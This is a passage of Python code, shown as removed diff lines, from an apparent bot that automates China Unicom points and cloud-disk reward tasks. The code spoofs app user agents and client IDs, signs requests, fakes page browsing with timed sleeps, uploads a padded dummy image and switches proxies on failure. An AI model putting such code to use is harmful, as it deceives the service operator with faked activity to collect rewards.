- "https://backward.bol.wo.cn/prod-api/auth/getTicket?channel=pointsPlatform",
- headers={
- "Authorization": f"Bearer {user_token}",
- "User-Agent": COMMON_CONSTANTS["MARKET_UA"],
- },
- timeout=15,
- ).json()
- if res.get("code") == 200 and res.get("data"):
- return res.get("data")
- self.log(f"权益超市-会员中心: 获取 points ticket 失败: {res.get('msg') or res}")
- except Exception as e:
- self.log(f"权益超市-会员中心: 获取 points ticket 异常: {e}")
- return None
-
- def market_member_center_base_headers(self, points_ticket):
- referer = (
- f"https://m.jf.10010.com/ts-mobile/well/{MARKET_MEMBER_CENTER_PAGE_ID}"
- f"?distributeId={MARKET_MEMBER_CENTER_DISTRIBUTE_ID}"
- f"&partnersId={MARKET_MEMBER_CENTER_PARTNERS_ID}"
- f"&clientType={MARKET_MEMBER_CENTER_CLIENT_TYPE}"
- f"&ticket={points_ticket}"
- )
- return {
- "origin": "https://m.jf.10010.com",
- "clienttype": MARKET_MEMBER_CENTER_CLIENT_TYPE,
- "ticket": points_ticket,
- "partnersid": MARKET_MEMBER_CENTER_PARTNERS_ID,
- "content-type": "application/json;charset=UTF-8",
- "pageid": MARKET_MEMBER_CENTER_PAGE_ID,
- "Accept": "application/json, text/plain, */*",
- "Referer": referer,
- "User-Agent": COMMON_CONSTANTS["MARKET_H5_UA"],
- "X-Requested-With": "com.sinovatech.unicom.ui",
- }
-
- def market_get_secret_key_jf(self, points_ticket):
- if (
- getattr(self, "market_jf_secretKey", None)
- and getattr(self, "market_jf_ticket", None) == points_ticket
- ):
- return self.market_jf_secretKey
- try:
- res = self.session.get(
- "https://m.jf.10010.com/jf-external-application/jftask/getSecretKey",
- headers=self.market_member_center_base_headers(points_ticket),
- timeout=10,
- ).json()
- secret = res.get("data", {}).get("secretKey")
- if res.get("code") == "0000" and secret:
- self.market_jf_ticket = points_ticket
- self.market_jf_secretKey = secret.encode("utf-8")
- return self.market_jf_secretKey
- self.log(f"权益超市-会员中心: getSecretKey 失败: {res}")
- except Exception as e:
- self.log(f"权益超市-会员中心: getSecretKey 异常: {e}")
- return None
-
- def market_build_signature_headers_jf(self, points_ticket):
- secret_key = self.market_get_secret_key_jf(points_ticket)
- if not secret_key:
- return {}
- request_ts = str(round(time.time() * 1000))
- nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8))
- signature = hmac.new(
- secret_key,
- f"{nonce}{request_ts}".encode("utf-8"),
- hashlib.sha256,
- ).hexdigest()
- return {
- "x-request-timestamp": request_ts,
- "x-request-nonce": nonce,
- "x-request-signature": signature,
- }
-
- def market_member_center_headers(self, points_ticket, with_sign=False):
- headers = self.market_member_center_base_headers(points_ticket)
- if with_sign:
- headers.update(self.market_build_signature_headers_jf(points_ticket))
- return headers
-
- def market_prepare_member_center_context(self, points_ticket):
- signed_headers = self.market_member_center_headers(points_ticket, with_sign=True)
- try:
- self.session.post(
- "https://m.jf.10010.com/jf-external-application/page/query",
- json={
- "activityId": MARKET_MEMBER_CENTER_PAGE_ID,
- "distributeId": MARKET_MEMBER_CENTER_DISTRIBUTE_ID,
- "partnersId": MARKET_MEMBER_CENTER_PARTNERS_ID,
- },
- headers=signed_headers,
- timeout=10,
- )
- except Exception as e:
- self.log(f"权益超市-会员中心: page/query 预热异常: {e}")
- try:
- self.session.post(
- "https://m.jf.10010.com/jf-external-application/jftask/userInfo",
- json={},
- headers=self.market_member_center_headers(points_ticket, with_sign=True),
- timeout=10,
- )
- except Exception as e:
- self.log(f"权益超市-会员中心: userInfo 预热异常: {e}")
-
- def market_member_center_finish_code(self, task):
- return safe_int(task.get("finish", task.get("status", 0)), 0)
-
- def market_member_center_finish_text(self, task):
- finish_text = str(task.get("finishText", "")).strip()
- if finish_text:
- return finish_text
- return {
- 0: "未完成",
- 99: "待领取",
- 100: "已领取",
- }.get(self.market_member_center_finish_code(task), "未知状态")
-
- def market_query_member_center_task(self, points_ticket):
- try:
- res = self.session.post(
- "https://m.jf.10010.com/jf-external-application/jftask/taskDetail",
- json={},
- headers=self.market_member_center_headers(points_ticket, with_sign=True),
- timeout=10,
- ).json()
- if res.get("code") != "0000":
- self.log(f"权益超市-会员中心: 查询任务失败: {res}")
- return None
- task_list = res.get("data", {}).get("taskDetail", {}).get("taskList", [])
- return next(
- (task for task in task_list if str(task.get("taskCode")) == MARKET_MEMBER_CENTER_TASK_CODE),
- None,
- )
- except Exception as e:
- self.log(f"权益超市-会员中心: 查询任务异常: {e}")
- return None
-
- def market_wait_member_center_task_state(self, points_ticket, expected_codes, attempts=4, delay=2):
- task = None
- for idx in range(1, attempts + 1):
- task = self.market_query_member_center_task(points_ticket)
- if task:
- finish_code = self.market_member_center_finish_code(task)
- finish_text = self.market_member_center_finish_text(task)
- text_matches = (
- (finish_text == "待领取" and 99 in expected_codes)
- or (finish_text == "已领取" and 100 in expected_codes)
- )
- if finish_code in expected_codes or text_matches:
- return task
- self.log(
- f"权益超市-会员中心: 第{idx}次回查状态 {finish_text}/{finish_code},"
- f"本月进度 {safe_int(task.get('finishCount'), 0)}/{safe_int(task.get('needCount'), 0)}"
- )
- if idx < attempts:
- time.sleep(delay)
- self.market_prepare_member_center_context(points_ticket)
- return task
-
- def market_mark_member_center_browse_done(self, user_token, task_fix_id):
- try:
- headers = {
- "Authorization": f"Bearer {user_token}",
- "Origin": "https://contact.bol.wo.cn",
- "Referer": "https://contact.bol.wo.cn/",
- "Content-Type": "application/json",
- "Accept": "*/*",
- "User-Agent": COMMON_CONSTANTS["MARKET_H5_UA"],
- "X-Requested-With": "com.sinovatech.unicom.ui",
- }
- detail = self.session.get(
- f"https://backward.bol.wo.cn/prod-api/promotion/activityTask/getActivityTaskDetailByFixId?taskFixId={task_fix_id}",
- headers=headers,
- timeout=10,
- ).json()
- if detail.get("code") != 200:
- self.log(f"权益超市-会员中心: 获取任务详情失败: {detail.get('msg') or detail}")
- return False
- task_data = detail.get("data") or {}
- check_key = task_data.get("param1")
- wait_seconds = max(safe_int(task_data.get("content"), 17), 15)
- if not check_key:
- self.log("权益超市-会员中心: 未拿到 checkKey,跳过浏览任务")
- return False
- self.log(f"权益超市-会员中心: 模拟浏览会员中心 {wait_seconds} 秒")
- time.sleep(wait_seconds)
- check = self.session.post(
- f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkView?checkKey={check_key}",
- json={},
- headers=headers,
- timeout=10,
- ).json()
- if check.get("code") == 200 and check.get("data") is True:
- self.log("权益超市-会员中心: 浏览完成,任务已进入待领取")
- return True
- self.log(f"权益超市-会员中心: checkView 失败: {check.get('msg') or check}")
- except Exception as e:
- self.log(f"权益超市-会员中心: 浏览任务异常: {e}")
- return False
-
- def market_receive_member_center_points(self, points_ticket):
- try:
- res = self.session.post(
- "https://m.jf.10010.com/jf-external-application/jfmarkettask/receive",
- json={"taskCode": MARKET_MEMBER_CENTER_TASK_CODE},
- headers=self.market_member_center_headers(points_ticket, with_sign=True),
- timeout=10,
- ).json()
- if res.get("code") == "0000":
- score = res.get("data", {}).get("score", "未知积分")
- title = res.get("data", {}).get("title", "领取成功")
- self.log(f"权益超市-会员中心: ✅ {title},获得 {score}", notify=True)
- return True
- self.log(f"权益超市-会员中心: 领取失败: {res.get('msg') or res}")
- except Exception as e:
- self.log(f"权益超市-会员中心: 领取异常: {e}")
- return False
-
- def market_member_center_task(self, user_token):
- self.log("权益超市-会员中心: 开始检查浏览任务")
- points_ticket = self.market_get_points_ticket(user_token)
- if not points_ticket:
- return
- self.market_prepare_member_center_context(points_ticket)
- task = self.market_query_member_center_task(points_ticket)
- if not task:
- self.log("权益超市-会员中心: 未找到目标任务")
- return
- finish_code = self.market_member_center_finish_code(task)
- finish_text = self.market_member_center_finish_text(task)
- finish_count = safe_int(task.get("finishCount"), 0)
- need_count = safe_int(task.get("needCount"), 0)
- self.log(
- f"权益超市-会员中心: 当前状态 {finish_text}/{finish_code},"
- f"本月进度 {finish_count}/{need_count}"
- )
- if finish_count >= need_count:
- self.log("权益超市-会员中心: 本月次数已达上限")
- return
- if finish_code == 100 or finish_text == "已领取":
- self.log("权益超市-会员中心: 今日已领取,跳过")
- return
- if finish_code == 0 or finish_text == "未完成":
- jump_url = str(task.get("jumpUrl", "")).strip()
- match = re.search(r"taskFixId=(\d+)", jump_url)
- task_fix_id = match.group(1) if match else "90"
- if not self.market_mark_member_center_browse_done(user_token, task_fix_id):
- return
- self.market_prepare_member_center_context(points_ticket)
- task = self.market_wait_member_center_task_state(points_ticket, {99, 100}, attempts=4, delay=2)
- if not task:
- return
- finish_code = self.market_member_center_finish_code(task)
- finish_text = self.market_member_center_finish_text(task)
- self.log(
- f"权益超市-会员中心: 浏览后状态 {finish_text}/{finish_code},"
- f"本月进度 {safe_int(task.get('finishCount'), 0)}/{safe_int(task.get('needCount'), 0)}"
- )
- if finish_code == 99 or finish_text == "待领取":
- self.market_receive_member_center_points(points_ticket)
- elif finish_code != 100:
- self.log("权益超市-会员中心: 状态未及时刷新,尝试直接领奖兜底")
- if self.market_receive_member_center_points(points_ticket):
- return
- self.log("权益超市-会员中心: 直接领奖兜底失败,跳过")
-
- def market_task(self, is_query_only=False):
- self.log("==== 权益超市 ====")
- ticket = self.market_get_ticket()
- if not ticket:
- return
- user_token = self.market_get_user_token(ticket)
- if not user_token:
- return
- if is_query_only:
- self.query_market_watering_status(user_token)
- self.query_market_raffle_records(user_token)
- self.query_phone_recharge_records(user_token)
- return
- mc = globalConfig.get("market_config", {})
- if mc.get("run_water", True):
- self.market_watering_task(user_token)
- time.sleep(2)
- else:
- self.log("权益超市-浇水: ⏭️ 已被总开关关闭,跳过")
- if mc.get("run_task", True):
- if hasattr(self, 'ecs_token'):
- share_list = self.market_get_all_tasks(self.ecs_token, user_token)
- if share_list:
- self.market_do_share_list(share_list, user_token)
- else:
- self.log("权益超市: 缺 ecs_token, 跳过通用任务列表")
- else:
- self.log("权益超市-做任务: ⏭️ 已被总开关关闭,跳过")
- if mc.get("run_member_center", True):
- time.sleep(2)
- self.market_member_center_task(user_token)
- else:
- self.log("权益超市-会员中心: ⏭️ 已被子开关关闭,跳过")
- if mc.get("run_draw", True):
- if self.market_get_raffle(user_token):
- self.market_get_raffle_count(user_token)
- else:
- self.log("权益超市-抽奖: ⏭️ 已被总开关关闭,跳过")
- if mc.get("run_claim", False):
- self.log("权益超市-领奖: 自动领奖已开启")
- self.query_phone_recharge_records(user_token)
- else:
- self.log("权益超市-领奖: ⏭️ 未开启自动领奖")
- self.query_market_raffle_records(user_token)
- self.query_phone_recharge_records(user_token)
-
- def init_cloud_urls(self):
- if not hasattr(self, 'cloudDiskUrls'):
- self.cloudDiskUrls = {
- 'onLine': "https://m.client.10010.com/mobileService/onLine.htm",
- 'getTicketByNative': "https://m.client.10010.com/edop_ng/getTicketByNative",
- 'userticket': "https://panservice.mail.wo.cn/api-user/api/user/ticket",
- 'ltypDispatcher': "https://panservice.mail.wo.cn/wohome/dispatcher",
- 'query': "https://m.jf.10010.com/jf-external-application/page/query",
- 'taskDetail': "https://m.jf.10010.com/jf-external-application/jftask/taskDetail",
- 'taskRecords': "https://m.jf.10010.com/jf-external-application/jftask/taskRecords",
- 'dosign': "https://m.jf.10010.com/jf-external-application/jftask/sign",
- 'upload2C': "https://tjupload.pan.wo.cn/openapi/client/upload2C",
- 'doPopUp': "https://m.jf.10010.com/jf-external-application/jftask/popUp",
- 'toFinish': "https://m.jf.10010.com/jf-external-application/jftask/toFinish",
- 'lottery': "https://panservice.mail.wo.cn/activity/lottery",
- 'openActivity': "https://panservice.mail.wo.cn/activity/openActivity",
- 'checkActivityStatus': "https://panservice.mail.wo.cn/activity/checkActivityStatus",
- 'userInfo': "https://m.jf.10010.com/jf-external-application/jftask/userInfo",
- 'ai_query': "https://panservice.mail.wo.cn/wohome/ai/assistant/query",
- 'lottery_times': "https://panservice.mail.wo.cn/activity/lottery/lottery-times",
- 'aiMoveFile': "https://panservice.mail.wo.cn/wohome/open/v1/ai/moveFile2SystemFolder",
- 'activityUpload2C': "https://du.smartont.net:8443/openapi/client/upload2C",
- 'queryPhoneLocation': "https://panservice.mail.wo.cn/api-user/user/info/query",
- 'getScanState': "https://s.pan.wo.cn/wohome/intelligentClean/getScanStateAndResult",
- 'getCleanData': "https://s.pan.wo.cn/wohome/intelligentClean/getCleanData",
- 'batchClean': "https://s.pan.wo.cn/wohome/intelligentClean/batchClean",
- 'vote': "https://panservice.mail.wo.cn/activity/activity-task/vote",
- 'secretKey': "https://m.jf.10010.com/jf-external-application/jftask/getSecretKey",
- 'taskFinish': "https://panservice.mail.wo.cn/activity/member-point/v1/task/finish",
- }
-
- def cloudRequest(self, url_name, payload, is_changer=False, method='post', custom_headers=None):
- self.init_cloud_urls()
- url = self.cloudDiskUrls.get(url_name)
- if not url:
- self.log(f"云盘无效的URL名称: {url_name}")
- return {'result': None, 'headers': None}
- headers = {
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}",
- 'Connection': "Keep-Alive",
- 'Accept-Encoding': "gzip",
- }
- if custom_headers:
- headers.update(custom_headers)
- if url_name in ['dosign', 'userInfo', 'doPopUp', 'toFinish', 'taskDetail', 'taskRecords']:
- if not getattr(self.cloudDisk, 'userticket', None):
- self.log(f"云盘 [{{url_name}}] userticket 未获取")
- return {'result': None, 'headers': None}
- headers['ticket'] = self.cloudDisk.userticket
- headers['content-type'] = "application/json;charset=UTF-8"
- headers['partnersid'] = "1649"
- headers['origin'] = "https://m.jf.10010.com"
- if getattr(self.cloudDisk, 'jeaId', None):
- headers['Cookie'] = f"_jea_id={self.cloudDisk.jeaId};"
- if url_name in ['dosign', 'toFinish']:
- sig_headers = self.build_signature_headers_cloud()
- if sig_headers:
- headers.update(sig_headers)
- if is_changer:
- headers['clienttype'] = "yunpan_unicom_applet"
- headers['x-requested-with'] = "com.sinovatech.unicom.ui"
- if url_name == 'toFinish':
- headers['User-Agent'] = "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/131.0.6778.39 Mobile Safari/537.36/woapp LianTongYunPan/4.0.4 (Android 12)"
- headers['clienttype'] = "yunpan_android"
- headers['x-requested-with'] = "com.chinaunicom.bol.cloudapp"
- else:
- headers['clienttype'] = "yunpan_android"
- headers['x-requested-with'] = "com.sinovatech.unicom.ui"
- elif url_name == 'ai_query':
- model_id = payload.get('modelId', 1)
- headers.update({
- 'accept': 'text/event-stream',
- 'X-YP-Access-Token': self.cloudDisk.userToken,
- 'X-YP-App-Version': '5.0.12',
- 'X-YP-Client-Id': '1001000035',
- 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; SM-N9810 Build/PQ3A.190705.11211540; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.114 Mobile Safari/537.36/woapp LianTongYunPan/5.0.12 (Android 9)',
- 'Content-Type': 'application/json',
- 'Origin': 'https://panservice.mail.wo.cn',
- 'X-Requested-With': 'com.chinaunicom.bol.cloudapp',
- 'Referer': f"https://panservice.mail.wo.cn/h5/wocloud_ai/?modelType={model_id}&clientId=1001000035&touchpoint=300300010001&token={self.cloudDisk.userToken}",
- })
- elif url_name == 'lottery_times':
- method = 'get'
- headers.update({
- 'X-YP-Access-Token': self.cloudDisk.userToken, 'source-type': 'woapi', 'clientId': '1001000165',
- 'token': self.cloudDisk.userToken, 'X-YP-Client-Id': '1001000165',
- })
- elif url_name == 'aiMoveFile':
- headers.update({
- 'X-YP-Device-Id': 'yOH1Y2/Ck5tBHRRBEAPCoGRGBOHCob7I',
- 'app-type': 'liantongyunpanapp',
- 'Access-Token': self.cloudDisk.userToken,
- 'Client-Id': '1001000035',
- 'App-Version': 'yp-app/5.1.0',
- 'Sys-Version': 'Android/15',
- 'User-Agent': 'LianTongYunPan/5.1.0 (Android 15)',
- 'X-YP-Client-Id': '1001000035',
- 'X-YP-Access-Token': self.cloudDisk.userToken,
- 'oaid': '00000000',
- 'Content-Type': 'application/json;charset=utf-8',
- 'Origin': 'https://panservice.mail.wo.cn',
- })
- elif url_name.startswith('cloud_') or 'shareCard' in url_name:
- current_token = getattr(self.cloudDisk, 'userToken', '')
- headers.update({
- 'Host': 'panservice.mail.wo.cn',
- 'Accept': 'application/json, text/plain, */*',
- 'User-Agent': 'Mozilla/5.0 (Linux; Android 15; PJZ110 Build/AP3A.240617.008; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/144.0.7559.109 Mobile Safari/537.36/woapp LianTongYunPan/5.1.0 (Android 15)',
- 'client-Id': '1001000035',
- 'X-YP-Client-Id': '1001000035',
- 'accessToken': current_token,
- 'access-token': current_token,
- 'X-YP-Access-Token': current_token,
- 'Authorization': f'Bearer {current_token}',
- 'X-Requested-With': 'com.chinaunicom.bol.cloudapp',
- 'Content-Type': 'application/json',
- 'Origin': 'https://panservice.mail.wo.cn',
- })
- touchpoint = '300300010032'
- if 'lightPuzzle' in url_name: touchpoint = '300300010003'
- if 'shareCardReceive' in url_name:
- headers['User-Agent'] = "Mozilla/5.0 (Linux; Android 15; PJZ110 Build/AP3A.240617.008; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420229 MMWEBSDK/20250802 MMWEBID/7928 MicroMessenger/8.0.62.2900(0x28003EA0) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64"
- headers['X-Requested-With'] = "com.tencent.mm"
- headers['X-YP-GRAY-FLAG'] = "undefined"
- uniq_key = payload.get('uniqKey', '') if isinstance(payload, dict) else ''
- card_code = payload.get('_cardCode', 'LT') if isinstance(payload, dict) else 'LT'
- if isinstance(payload, dict) and '_cardCode' in payload:
- del payload['_cardCode']
- headers['Referer'] = f"https://panservice.mail.wo.cn/h5/activitymobile/newYears26?uniqKey={uniq_key}&cardCode={card_code}&activityId=SPRING_FESTIVAL_2026&page=1&touchpoint=undefined"
- else:
- headers['Referer'] = f"https://panservice.mail.wo.cn/h5/activitymobile/newYears26?activityId=SPRING_FESTIVAL_2026&touchpoint={touchpoint}&token={current_token}"
- if url_name == 'shareCard':
- headers['X-YP-GRAY-FLAG'] = "undefined"
- for attempt in range(1, 4):
- try:
- if method == 'get':
- res = self.session.get(url, params=payload, headers=headers, timeout=15)
- else:
- res = self.session.post(url, json=payload, headers=headers, timeout=15)
- if url_name == 'ai_query':
- return {'result': None, 'body': res.text, 'headers': res.headers}
- try:
- res_json = res.json()
- return {'result': res_json, 'headers': res.headers, 'status': res.status_code}
- except:
- return {'result': res.text, 'headers': res.headers, 'status': res.status_code}
- except Exception as e:
- err_msg = str(e)
- if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg):
- self.log(f"cloudRequest [{url_name}] 网络异常触发故障转移({err_msg}), 正在更换代理...")
- self.failover_proxy()
- continue
- if attempt == 3:
- self.log(f"cloudRequest Exception [{url_name}]: {e}")
- return {'result': None, 'headers': None, 'status': 599}
- self.log(f"cloudRequest [{url_name}] 网络异常({e}), 重试第{attempt}次...")
- time.sleep(2)
-
- def encrypt_data_cloud(self, data, key, iv="wNSOYIB1k1DjY5lA"):
- key_padded = key.ljust(16)[:16]
- cipher = AES.new(key_padded.encode(), AES.MODE_CBC, iv.encode())
- padded = pad(data.encode(), AES.block_size, style="pkcs7")
- return base64.b64encode(cipher.encrypt(padded)).decode()
-
- def getTicketByNative_cloud(self):
- for attempt in range(1, 4):
- try:
- url = f"{self.cloudDiskUrls['getTicketByNative']}?appId=edop_unicom_d67b3e30&token={self.ecs_token}"
- headers = {
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}",
- 'Connection': "Keep-Alive",
- 'Accept-Encoding': "gzip",
- }
- res = self.session.get(url, headers=headers).json()
- if res.get('ticket'):
- self.cloudDisk.ticket = res['ticket']
- return res['ticket']
- elif str(res.get('code')) == "9999":
- self.log(f"getTicketByNative_cloud 票据失效或被拦截: {res}")
- except Exception as e:
- err_msg = str(e)
- if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg):
- self.log(f"getTicketByNative_cloud 第{attempt}次异常触发故障转移: {err_msg}")
- self.failover_proxy()
- continue
- self.log(f"getTicketByNative_cloud 第{attempt}次重试 - 异常: {e}")
- time.sleep(2)
- return None
-
- def get_ltypDispatcher_cloud(self, ticket):
- for attempt in range(1, 4):
- try:
- timestamp = str(int(time.time() * 1000))
- result_rnd = str(random.randint(123456, 199999))
- string_to_hash = "HandheldHallAutoLoginV2" + timestamp + result_rnd + "wohome"
- sign = hashlib.md5(string_to_hash.encode()).hexdigest()
- payload = {
- "header": {
- "key": "HandheldHallAutoLoginV2",
- "resTime": timestamp,
- "reqSeq": result_rnd,
- "channel": "wohome",
- "version": "",
- "sign": sign
- },
- "body": {
- "clientId": "1001000003",
- "ticket": ticket
- }
- }
- url = self.cloudDiskUrls['ltypDispatcher']
- headers = {'User-Agent': "Dalvik/2.1.0 (Linux; U; Android 12; leijun Pro Build/SKQ1.22013.001);unicom{version:android@11.0702}"}
- res = self.session.post(url, json=payload, headers=headers).json()
- token = res.get('RSP', {}).get('DATA', {}).get('token')
- if token:
- self.cloudDisk.userToken = token
- return token
- except Exception as e:
- err_msg = str(e)
- if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg):
- self.log(f"get_ltypDispatcher_cloud 第{attempt}次异常触发故障转移: {err_msg}")
- self.failover_proxy()
- continue
- self.log(f"get_ltypDispatcher_cloud 第{attempt}次重试 - 异常: {e}")
- time.sleep(2)
- return None
-
- def get_userticket_cloud(self, is_changer=False):
- if not getattr(self.cloudDisk, 'userToken', None):
- self.log("云盘任务: 获取userticket失败, userToken未获取")
- return None
- headers = {}
- if is_changer:
- headers = {
- 'User-Agent': "LianTongYunPan/4.0.4 (Android 12)",
- 'app-type': "liantongyunpanapp",
- 'Client-Id': "1001000035",
- 'App-Version': "yp-app/4.0.4",
- 'Sys-Version': "Android/12",
- 'X-YP-Client-Id': "1001000035",
- 'X-YP-Access-Token': self.cloudDisk.userToken,
- }
- else:
- headers = {
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}",
- 'Content-Type': 'application/json',
- 'X-YP-Access-Token': self.cloudDisk.userToken,
- 'accesstoken': self.cloudDisk.userToken,
- 'token': self.cloudDisk.userToken,
- 'clientId': "1001000003",
- 'X-YP-Client-Id': "1001000003",
- 'source-type': "woapi",
- 'app-type': "unicom"
- }
- for attempt in range(1, 4):
- try:
- res = self.session.post(self.cloudDiskUrls['userticket'], json={}, headers=headers, timeout=15).json()
- if res and isinstance(res, dict) and res.get('result', {}).get('ticket'):
- self.cloudDisk.userticket = res['result']['ticket']
- return self.cloudDisk.userticket
- else:
- self.log(f"get_userticket_cloud failed: {res}")
- return None
- except Exception as e:
- self.log(f"[get_userticket_cloud] 请求异常[{e}],重试第{attempt}次")
- time.sleep(2)
- return None
-
- def get_userInfo_cloud(self):
- if not self.get_userticket_cloud(False): return
- data = self.cloudRequest('userInfo', {}, False, 'post')
- res = data.get('result')
- headers = data.get('headers')
- if headers:
- cookie = headers.get('Set-Cookie', '')
- match = re.search(r'_jea_id=([^;]+)', cookie)
- if match:
- self.cloudDisk.jeaId = match.group(1)
- if res and res.get('data'):
- avail = res['data'].get('availableScore')
- today_earn = res['data'].get('todayEarnScore', 0)
- if not hasattr(self.cloudDisk, 'initial_avail'):
- self.cloudDisk.initial_avail = avail
- self.log(f"云盘任务: 运行前 - 今日已赚: {today_earn}, 可用积分: {avail}")
- else:
- earned = int(avail) - int(self.cloudDisk.initial_avail)
- self.log(f"云盘任务: 运行后 - 今日已赚: {today_earn}, 可用: {avail}, 本次获得: {earned}", notify=True)
-
- def do_ai_interaction_cloud(self, taskCode, taskName):
- self.log(f"云盘任务: 执行AI通通查询请求...")
- payload = {
- "input": "你好",
- "platform": 2,
- "modelId": 0,
- "tag": 21,
- "subTag": 210000,
- "conversationId": "",
- "knowledgeId": "",
- "referFileInfo": []
- }
- data = self.cloudRequest('ai_query', payload, False, 'post')
- body = data.get('body', '')
- if body and ('"finish":1' in body or 'success' in body):
- self.log(f"云盘任务: ✅ [{taskName}] 互动成功")
- self.doPopUp_cloud(taskCode, taskName, False)
- return True
- self.log(f"云盘任务: ❌ [{taskName}] 互动失败")
- return False
-
- def get_cloud_upload_file_path(self):
- custom_path = os.environ.get("UNICOM_CLOUD_UPLOAD_FILE", "").strip()
- if custom_path:
- full_path = os.path.abspath(custom_path)
- if os.path.isfile(full_path):
- return full_path
- self.log(f"云盘任务: 上传文件不存在: {full_path}")
- return None
- seed_path = os.path.join(tempfile.gettempdir(), "unicom_cloud_upload_seed.jpg")
- target_size = max(UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES, 1024)
- if not os.path.exists(seed_path) or os.path.getsize(seed_path) != target_size:
- seed_bytes = base64.b64decode("/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxAQEBAQEBAPEA8PEA8QDw8PDw8QDw8QFREWFhURFRUYHSggGBolGxUVITEhJSkrLi4uFx8zODMsNygtLisBCgoKDg0OGxAQGy0lICYtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLf/AABEIAAEAAgMBIgACEQEDEQH/xAAXAAADAQAAAAAAAAAAAAAAAAAAAQID/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAAB6A//xAAXEAEAAwAAAAAAAAAAAAAAAAABAAIR/9oACAEBAAEFAkqf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwEf/8QAFBABAAAAAAAAAAAAAAAAAAAAEP/aAAgBAQAGPwJf/8QAFBABAAAAAAAAAAAAAAAAAAAAEP/aAAgBAQABPyFf/9k=")
- with open(seed_path, "wb") as f:
- f.write(seed_bytes)
- if target_size > len(seed_bytes):
- f.seek(target_size - 1)
- f.write(b"\0")
- return seed_path
-
- def get_cloud_upload_progress_bytes(self, file_size=0):
- progress_bytes = max(int(UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES or 0), 1)
- if file_size and int(file_size) > 0:
- return min(int(file_size), progress_bytes)
- return progress_bytes
-
- def parse_cloud_size_to_bytes(self, value):
- match = re.search(r'(\d+(?:\.\d+)?)\s*([KMGT])', str(value).upper())
- if not match:
- return 0
- unit_power = {'K': 1, 'M': 2, 'G': 3, 'T': 4}
- return int(float(match.group(1)) * (1024 ** unit_power[match.group(2)]))
-
- def get_cloud_upload_times(self, task, file_size):
- progress_list = task.get('taskExtend', {}).get('taskProgressVOList', []) or []
- targets = []
- for item in progress_list:
- size_bytes = self.parse_cloud_size_to_bytes(item.get('progressName'))
- if size_bytes > 0:
- targets.append(size_bytes)
- finished = max(int(task.get('finishCount', 0) or 0), 0)
- stage_goal = finished + 1
- progress_bytes = self.get_cloud_upload_progress_bytes(file_size)
- if targets:
- stage_goal = min(stage_goal, len(targets))
- final_target = targets[stage_goal - 1]
- completed_target = targets[min(finished, len(targets)) - 1] if finished > 0 else 0
- remaining_bytes = max(final_target - completed_target, 0)
- if remaining_bytes <= 0:
- return 0, stage_goal
- return max((remaining_bytes + progress_bytes - 1) // progress_bytes, 1), stage_goal
- required = max(int(task.get('needCount', 0) or 0), 0)
- if required > 0:
- stage_goal = min(stage_goal, required)
- remaining = max(stage_goal - finished, 0)
- return remaining, stage_goal
-
- def query_cloud_task_list_cloud(self):
- if not self.get_userticket_cloud(False):
- return []
- data = self.cloudRequest('taskDetail', {}, False, 'post')
- if not isinstance(data, dict):
- self.log("云盘任务: taskDetail 返回结构异常,已跳过本轮任务列表")
- return []
- res = data.get('result')
- if not isinstance(res, dict):
- body = str(res).replace('\r', ' ').replace('\n', ' ').strip()[:120]
- self.log(f"云盘任务: taskDetail 返回异常,已跳过本轮任务列表 (status={data.get('status')}, body={body or 'None'})")
- return []
- task_detail = res.get('data', {}).get('taskDetail', {})
- if not isinstance(task_detail, dict):
- self.log("云盘任务: taskDetail 数据结构异常,已跳过本轮任务列表")
- return []
- return task_detail.get('taskList', []) or []
-
- def query_task_records_cloud(self, cursor=""):
- if not self.get_userticket_cloud(False):
- return []
- data = self.cloudRequest('taskRecords', {"cursor": cursor}, False, 'post')
- if not isinstance(data, dict):
- self.log("云盘任务: taskRecords 返回结构异常,已跳过积分明细查询")
- return []
- res = data.get('result')
- if not isinstance(res, dict):
- body = str(res).replace('\r', ' ').replace('\n', ' ').strip()[:120]
- self.log(f"云盘任务: taskRecords 返回异常,已跳过积分明细查询 (status={data.get('status')}, body={body or 'None'})")
- return []
- return res.get('data', []) or []
-
- def init_cloud_task_records_state(self):
- records = self.query_task_records_cloud("")
- self.cloudDisk.knownTaskRecordIds = {str(item.get('id')) for item in records if item.get('id')}
-
- def match_new_cloud_task_record(self, task_name, before_ids=None):
- records = self.query_task_records_cloud("")
